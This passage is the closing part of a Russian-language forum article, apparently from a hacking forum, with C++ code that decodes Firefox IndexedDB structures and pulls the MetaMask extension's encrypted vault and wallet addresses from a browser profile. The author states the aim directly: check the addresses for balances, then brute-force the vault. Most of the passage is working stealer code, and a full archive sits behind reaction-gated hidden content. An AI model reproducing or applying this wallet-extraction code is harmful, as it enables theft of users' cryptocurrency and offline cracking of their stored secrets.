            if (uData & (1 << 5)) sRegex.push_back('s');
            if (uData & (1 << 4)) sRegex.push_back('u');
            if (uData & (1 << 7)) sRegex.push_back('v');
            if (uData & (1 << 3)) sRegex.push_back('y');

            const std::uint64_t uSecondPair = bfRead.template ReadTrivial<std::uint64_t>();
            const std::uint32_t uSecondTag = GetPairTag(uSecondPair);
            if (static_cast<GeckoIDBObjType>(uSecondTag) == GeckoIDBObjType::String)
            {
                const std::uint32_t uSecondData = GetPairData(uSecondPair);
                const bool bIsLatin1 = !!(uSecondData & 0x80000000);
                std::uint32_t uLength = uSecondData & 0x7FFFFFFF;
                if (!bIsLatin1)
                    uLength *= 2;

                {
                    sRegex.push_back('/');
                    auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
                    std::string sStr = ConvertString(bIsLatin1, vStr);
                    sRegex.append(sStr);
                }

                rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sRegex));
                uLength = 8 - ((uLength - 1) & 7) - 1;
                bfRead.SkipBytes(uLength);
            }

            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::ArrayObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Array>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::ObjectObject: [[fallthrough]];
        case GeckoIDBObjType::MapObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::ObjectOrMap>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::SetObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Set>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::BackReferenceObject:
        {
            const std::uint32_t uData = GetPairData(uPair);
            if (uData >= rObjects.size())
                break;

            pObj = rObjects[uData];
            break;
        }

        case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
        case GeckoIDBObjType::ArrayBufferObject: [[fallthrough]];
        case GeckoIDBObjType::SharedArrayBufferObject: [[fallthrough]];
        case GeckoIDBObjType::SharedWasmMemoryObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        default:
            if (uTag < 0xFFF00000)
                rObj.v.emplace<GeckoIDBJSObject::Double>(std::bit_cast<double>(uPair));
            break;
    }

    return bObjectPushed;
}

Ну и для того, чтобы мы могли находить объекты по их индексу / имени, нам нужно имплементировать кастомный хешер и компарер, а для того, чтобы различать типы хешированных данных, мы будем их тагать:
Спойлер: код
C++: Скопировать в буфер обмена
Код:
struct GeckoKeyHash
{
    using is_transparent = void;

    constexpr static std::size_t TYPE_SHIFT = std::numeric_limits<std::size_t>::digits - 2;
    constexpr static std::size_t HASH_MASK = (std::size_t(1) << TYPE_SHIFT) - 1;
    constexpr static std::size_t TYPE_MASK = ~HASH_MASK;

    constexpr static std::size_t HASH_TYPE_POINTER = 0;
    constexpr static std::size_t HASH_TYPE_INT = 1;
    constexpr static std::size_t HASH_TYPE_STRING = 2;

    inline std::size_t operator()(std::string_view) const noexcept;
    inline std::size_t operator()(std::int32_t) const noexcept;
    inline std::size_t operator()(std::shared_ptr<GeckoIDBJSObject>) const noexcept;
};

struct GeckoKeyCompare
{
    using is_transparent = void;

    inline bool operator()(std::string_view, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
    inline bool operator()(std::int32_t, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
    inline bool operator()(const std::shared_ptr<GeckoIDBJSObject> &, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
};

inline std::size_t GeckoKeyHash::operator()(std::string_view svString) const noexcept
{
    std::size_t szHashed = std::hash<std::string_view>{}(svString);
    return (szHashed & HASH_MASK) | (HASH_TYPE_STRING << TYPE_SHIFT);
}

inline std::size_t GeckoKeyHash::operator()(std::int32_t iValue) const noexcept
{
    if constexpr (sizeof(std::uintptr_t) == 8)
        return static_cast<std::size_t>(std::bit_cast<std::uint32_t>(iValue)) | (HASH_TYPE_INT << TYPE_SHIFT);
    else
        return (std::hash<std::int32_t>{}(iValue) & HASH_MASK) | (HASH_TYPE_INT << TYPE_SHIFT);
}

inline std::size_t GeckoKeyHash::operator()(std::shared_ptr<GeckoIDBJSObject> pObj) const noexcept
{
    switch (pObj->v.index())
    {
        case GeckoIDBJSObject::Int: return this->operator()(pObj->GetInt());
        case GeckoIDBJSObject::String: return this->operator()(pObj->GetString());
        default:
        {
            std::uintptr_t szHashed = std::bit_cast<std::uintptr_t>(pObj.get());
            return (szHashed & HASH_MASK) | (HASH_TYPE_POINTER << TYPE_SHIFT);
        }
    }
}

inline bool GeckoKeyCompare::operator()(std::string_view svFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
    if (!pSecond || !pSecond->IsString()) return false;
    return pSecond->GetString() == svFirst;
}

inline bool GeckoKeyCompare::operator()(std::int32_t iFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
    if (!pSecond || !pSecond->IsInt()) return false;
    return pSecond->GetInt() == iFirst;
}

inline bool GeckoKeyCompare::operator()(const std::shared_ptr<GeckoIDBJSObject> & pFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{ return pFirst.get() == pSecond.get(); }

А что там с MetaMask?

Что ж, и теперь заключительная часть нашей статьи, то, с чего мы собственно и начали, вытаскивание инфы из экстейшена метамаск. Метамаск хранит дофига данных, но нам интересен лишь его vault и адреса юзера (чтобы мы могли чекнуть их на баланс, прежде чем брутить vault). Метамаск хранит все свои данные по ключу data, чтож, с нашей имплементацией здесь всё довольно тривиально:
Спойлер: код
C++: Скопировать в буфер обмена
Код:
tl::expected<std::string, std::error_code> ExtractMetamask(GeckoIndexedDB<std::string> cIDB) noexcept
{
    auto pKeyData = cIDB.ReadKey("data");
    if (!pKeyData || pKeyData->t != GeckoIDBObjType::ObjectObject)
        return tl::unexpected(std::make_error_code(std::errc::no_message));

    assert(pKeyData->IsObjectOrMap());
    auto & rMainObject = pKeyData->GetObjectOrMap();
 
    std::string sVault;
    std::unordered_set<std::string> sAddresses;

    auto iKeyRingController = rMainObject.find("KeyringController");
    if (iKeyRingController != rMainObject.end() && iKeyRingController->second->IsObjectOrMap())
    {
        auto & rKRCtrlObj = iKeyRingController->second->GetObjectOrMap();
        auto iVaultStr = rKRCtrlObj.find("vault");
        if (iVaultStr != rKRCtrlObj.end() && iVaultStr->second->IsString())
            sVault = iVaultStr->second->GetString();
    }

    auto iAccsController = rMainObject.find("AccountsController");
    if (iAccsController != rMainObject.end() && iAccsController->second->IsObjectOrMap())
    {
        auto & rAccsCtrlObj = iAccsController->second->GetObjectOrMap();
        auto iInternalAccounts = rAccsCtrlObj.find("internalAccounts");
        if (iInternalAccounts != rAccsCtrlObj.end() && iInternalAccounts->second->IsObjectOrMap())
        {
            auto rInternalAccs = iInternalAccounts->second->GetObjectOrMap();
            auto iAccounts = rInternalAccs.find("accounts");
            if (iAccounts != rInternalAccs.end() && iAccounts->second->IsObjectOrMap())
            {
                auto rAccs = iAccounts->second->GetObjectOrMap();

                for (auto [_, rAccObj] : rAccs)
                {
                    if (!rAccObj->IsObjectOrMap())
                        continue;

                    auto & rAcc = rAccObj->GetObjectOrMap();
                    auto iAddr = rAcc.find("address");
                    if (iAddr != rAcc.end() && iAddr->second->IsString())
                    {
                        const std::string & sAcc = iAddr->second->GetString();
                        if (sAcc.starts_with("0x"))
                            sAddresses.insert(sAcc);
                    }
                }
            }
        }
    }

    std::vector<std::string> vAddresses(std::make_move_iterator(sAddresses.begin()), std::make_move_iterator(sAddresses.end()));
    auto sFormattedAddresses = vAddresses.size() ? std::accumulate(std::next(vAddresses.begin()), vAddresses.end(), vAddresses[0],
                                    [](auto && sFirst, auto && sSecond) noexcept { return std::move(sFirst) + ", " + sSecond; }) : std::string();
    return std::format("Vault: {0}\nAddresses: {1}", sVault, sFormattedAddresses);
}

Результат:
Спойлер
metamask.png


На этом всё, я старался сделать статью как можно короче и без лишней воды, но она всё равно получилась немаленькой. Знаю, что статья возможно будет сложно восприниматься хотя бы без средненького технического бекграунда, но я старался всё максимально разжевать по теме, надеюсь вам понравилось. :)

У вас должно быть более 5 реакций для просмотра скрытого контента.

Edit: странно, архив не прикрепился, залил на форумный файлообменник.
DamageLib
 
Сверху Снизу